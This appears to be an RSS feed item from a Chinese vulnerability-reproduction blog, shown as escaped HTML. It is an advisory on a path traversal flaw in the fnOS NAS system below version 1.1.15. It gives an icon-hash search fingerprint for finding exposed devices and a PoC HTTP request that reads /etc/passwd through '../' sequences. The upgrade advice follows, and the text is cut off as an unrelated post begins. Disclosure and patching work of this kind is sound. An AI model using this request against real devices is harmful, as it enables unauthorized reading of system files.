rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;02&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;影响版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;受影响的版本为1.1.15以下&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000725&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200426177089786613041.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;03&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞简介&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;飞牛系统（fnO&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;S）是一款国产网&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;络附加存储（NAS）操作系统&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;飞牛系统（fnOS）适合追求&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;功能丰富、预算有限且对数据安全要求不高的用户，尤其适合闲置硬件改造和影视娱乐场景。&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;攻击者通过构造恶意请求，利用路径遍历字符（如&lt;/span&gt;&lt;/span&gt;&lt;code data-v-c3629e60=&quot;&quot; style=&quot;line-height: 1.6;color: rgb(62, 62, 62);font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;../&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;8&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;）绕过系统路径限制&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;，直接访问服务器文件系统中的任意文件。&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;攻击者可尝试读取服务器上的&lt;/span&gt;&lt;/span&gt;&lt;code data-v-c3629e60=&quot;&quot; style=&quot;line-height: 1.6;color: rgb(62, 62, 62);font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;/etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;16&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;文件，若漏洞存在，服务器将返回文件内容。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;6 3 []&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;04&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;visibility: visible;margin-left: 0px;margin-right: 0px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;visibility: visible;text-indent: 0px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;资产测绘&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;pre class=&quot;code-snippet__js code-snippet code-snippet_nowrap&quot; data-lang=&quot;ini&quot; style=&quot;pointer-events: initial;&quot;&gt;icon_hash=&amp;quot;470295793&amp;quot;&lt;/pre&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000724&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200427177089786744906.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;05&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;pointer-events: initial;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;font-weight: bold;&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;pre class=&quot;code-snippet__js code-snippet code-snippet_nowrap&quot; data-lang=&quot;apache&quot; style=&quot;pointer-events: initial;&quot;&gt;GET&amp;nbsp;/app-center-static/serviceicon/myapp/{0}/?size=../../../../etc/passwd&amp;nbsp;HTTP/1.1Host:&amp;nbsp;127.0.0.1User-Agent:&amp;nbsp;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;Win64;&amp;nbsp;x64;&amp;nbsp;rv:146.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/146.0Accept:&amp;nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:&amp;nbsp;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:&amp;nbsp;gzip,&amp;nbsp;deflateConnection:&amp;nbsp;closeUpgrade-Insecure-Requests:&amp;nbsp;1Sec-Fetch-Dest:&amp;nbsp;documentSec-Fetch-Mode:&amp;nbsp;navigateSec-Fetch-Site:&amp;nbsp;noneSec-Fetch-User:&amp;nbsp;?1Priority:&amp;nbsp;u=0,&amp;nbsp;i&lt;/pre&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000723&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200428177089786861559.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;section style=&quot;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;06&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;color: #1AAD19;font-size: 20px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;修复建议&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;升级到最新版本。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot; data-pm-slice=&quot;3 6 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;07&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;color: #1AAD19;font-size: 20px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;往期回顾&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section class=&quot;mp_profile_iframe_wrp&quot; nodeleaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;mp-common-profile class=&quot;js_uneditable custom_select_card mp_profile_iframe&quot; data-pluginname=&quot;mpprofile&quot; data-nickname=&quot;北风漏洞复现文库&quot; data-from=&quot;2&quot; data-headimg=&quot;http://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLiaaoGI8LfuPiaA8ibUUtcv9nSuJJc1Pps7Ys43DOtfxA1zLlMExIyoJkyiaibxJBibUbupXrVXYyOn4vA/0?wx_fmt=png&quot; data-signature=&quot;聚焦最新漏洞动态，深度解析SRC、CVE、CNVD漏洞详情。提供漏洞复现教程、工具利用指南及整改方案。为渗透测试与网络安全从业者提供实战交流平台，助力提升安全技能。&quot; data-id=&quot;Mzk2NDkwMDg3Nw==&quot; data-is_biz_ban=&quot;0&quot; data-service_type=&quot;1&quot; data-verify_status=&quot;0&quot;&gt;&lt;/mp-common-profile&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;br/&gt;&lt;/section&gt;&lt;p&gt;&lt;mp-video-dot-dialog&gt;&lt;/mp-video-dot-dialog&gt;&lt;mp-image-product-dialog&gt;&lt;mp-new-reward-setting-dialog writer-id=&quot;&quot; reply-id=&quot;&quot; can-use-gong-yi=&quot;0&quot; is-pay-subscribe=&quot;0&quot; article-seq=&quot;0&quot; dialog-header-name=&quot;赞赏&quot;&gt;&lt;/mp-new-reward-setting-dialog&gt;&lt;mp-interaction-dialog form-data=&quot;[object Object]&quot;&gt;&lt;/mp-interaction-dialog&gt;&lt;mp-finder-video-dialog display-education=&quot;true&quot;&gt;&lt;/mp-finder-video-dialog&gt;&lt;mp-finder-sync-tips-dialog items=&quot;&quot; finder-nick-name=&quot;&quot;&gt;&lt;/mp-finder-sync-tips-dialog&gt;&lt;mp-image-edit-dialog src=&quot;https://mp.weixin.qq.com/cgi-bin/masssendmodify?action=edit_new&amp;appmsgid=2247484146&amp;idx=1&amp;msgid=1000000069&amp;modify_version=1&amp;token=1397853261&amp;lang=zh_CN&quot; title=&quot;编辑封面&quot; ratio=&quot;&quot; crop-info=&quot;&quot; text-info=&quot;[object Object]&quot;&gt;&lt;/mp-image-edit-dialog&gt;&lt;mp-image-disable-bg&gt;&lt;/mp-image-disable-bg&gt;&lt;mp-to-image-article-dialog tempurl=&quot;&quot; can-comment=&quot;0&quot;&gt;&lt;/mp-to-image-article-dialog&gt;&lt;/mp-image-product-dialog&gt;&lt;/p&gt;&lt;section style=&quot;  top: -100000px;width: 100000000000000px;visibility: hidden;letter-spacing: 100px; &quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 20:04:12 +0800</pubDate></item><item><title>5 分钟打造你的第一个 NativePHP 移动应用</title><link>https://www.7x0.cn/post/24.html</link><description>&lt;p style=&quot;font-size: 0px;line-height: 0;margin: 0px;text-align: justify;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;#39;PingFang SC&amp;#39;, Cambria, Cochin, Georgia, Times, &amp;#39;Times New Roman&amp;#39;, serif;font-size: 16px;line-height: 1.75;text-align: 